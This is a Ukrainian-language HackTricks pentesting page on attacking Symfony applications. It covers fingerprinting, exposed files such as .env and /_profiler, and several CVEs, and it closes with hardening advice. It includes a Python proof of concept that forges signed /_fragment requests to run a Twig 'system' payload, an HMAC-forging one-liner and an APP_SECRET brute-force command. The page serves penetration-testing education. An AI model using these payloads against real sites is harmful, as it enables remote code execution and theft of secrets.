Symfony

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Symfony є одним з найпоширеніших PHP фреймворків і регулярно з'являється в оцінках цілей підприємств, електронної комерції та CMS (Drupal, Shopware, Ibexa, OroCRM … всі вбудовують компоненти Symfony). Ця сторінка збирає наступальні поради, поширені неправильні конфігурації та нещодавні вразливості, які ви повинні мати у своєму контрольному списку, коли виявляєте додаток Symfony.

Історична примітка: Велика частина екосистеми все ще працює на гілці 5.4 LTS (EOL Листопад 2025). Завжди перевіряйте точну незначну версію, оскільки багато з 2023-2025 років безпекових рекомендацій були виправлені лише в патчах (наприклад, 5.4.46 → 5.4.50).


Рекон та Перерахунок

Визначення

  • HTTP заголовки відповіді: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link або куки, що починаються з sf_redirect, sf_session, MOCKSESSID.
  • Витоки вихідного коду (composer.json, composer.lock, /vendor/…) часто розкривають точну версію:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Публічні маршрути, які існують лише на Symfony:
  • /_profiler (Symfony Profiler & панель інструментів налагодження)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (красиві сторінки помилок)
  • /app_dev.php, /config.php, /config_dev.php (перед-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith або ffuf/feroxbuster wordlists: symfony.txt → шукайте /_fragment, /_profiler, .env, .htaccess.

Цікаві файли та кінцеві точки

ШляхЧому це важливо
/.env, /.env.local, /.env.prodЧасто неправильно розгорнуті → витоки APP_SECRET, облікові дані БД, SMTP, AWS ключі
/.git, .svn, .hgВитік виходу → облікові дані + бізнес-логіка
/var/log/*.log, /log/dev.logНеправильна конфігурація веб-кореня відкриває стек-трейси
/_profilerПовна історія запитів, конфігурація, контейнер сервісів, APP_SECRET (≤ 3.4)
/_fragmentТочка входу, що використовується ESI/HInclude. Зловживання можливе, як тільки ви знаєте APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE, якщо доступно (CVE-2017-9841)
/index.php/_error/{code}Визначення та іноді витік трас виключень

Вразливості високого впливу (2023-2025)

1. Витік APP_SECRET ➜ RCE через /_fragment (також відомий як “secret-fragment”)

  • CVE-2019-18889 спочатку, але досі з'являється на сучасних цілях, коли налагодження залишається увімкненим або .env відкритий.
  • Як тільки ви знаєте 32-символьний APP_SECRET, створіть HMAC токен і зловживайте внутрішнім контролером render(), щоб виконати довільний Twig:
python
# PoC – вимагає секрет
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE в Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Чудовий опис та скрипт експлуатації: блог Ambionics (посилання в довідці).

2. Підміна процесу Windows – CVE-2024-51736

  • Компонент Process шукає поточний робочий каталог перед PATH на Windows. Атакуючий, який може завантажити tar.exe, cmd.exe тощо в записуваний веб-корінь і викликати Process (наприклад, витяг файлів, генерація PDF), отримує виконання команд.
  • Виправлено в 5.4.50, 6.4.14, 7.1.7.

3. Фіксація сесії – CVE-2023-46733

  • Аутентифікаційний захист повторно використовував існуючий ідентифікатор сесії після входу. Якщо атакуючий встановлює куки перед аутентифікацією жертви, вони захоплюють обліковий запис після входу.

4. XSS в пісочниці Twig – CVE-2023-46734

  • У додатках, які відкривають шаблони, контрольовані користувачем (адмін CMS, конструктор електронної пошти), фільтр nl2br може бути зловжито для обходу пісочниці та впровадження JS.

5. Ланцюги гаджетів Symfony 1 (досі знаходяться в застарілих додатках)

  • phpggc symfony/1 system id генерує Phar payload, який викликає RCE, коли відбувається unserialize() на класах, таких як sfNamespacedParameterHolder. Перевірте кінцеві точки завантаження файлів та обгортки phar://.

{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}


Чек-лист експлуатації

Розрахунок HMAC токена для /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Брутфорс слабкого APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE через відкритий Symfony Console

Якщо bin/console доступний через php-fpm або пряме завантаження CLI:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Використовуйте гаджети десеріалізації в каталозі кешу або напишіть шкідливий шаблон Twig, який буде виконано під час наступного запиту.


Захисні примітки

  1. Ніколи не розгортайте налагодження (APP_ENV=dev, APP_DEBUG=1) у виробництві; заблокуйте /app_dev.php, /_profiler, /_wdt у конфігурації веб-сервера.
  2. Зберігайте секрети в змінних середовища або vault/secrets.local.php, ніколи в файлах, доступних через кореневу директорію документа.
  3. Забезпечте управління патчами – підписуйтесь на сповіщення про безпеку Symfony та підтримуйте принаймні рівень патчів LTS.
  4. Якщо ви працюєте на Windows, терміново оновіть, щоб зменшити ризик CVE-2024-51736 або додайте захист у глибині open_basedir/disable_functions.

Корисні наступальні інструменти

  • ambionics/symfony-exploits – RCE з секретним фрагментом, виявлення маршрутів налагоджувача.
  • phpggc – Готові ланцюги гаджетів для Symfony 1 та 2.
  • sf-encoder – маленький помічник для обчислення HMAC _fragment (реалізація на Go).

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks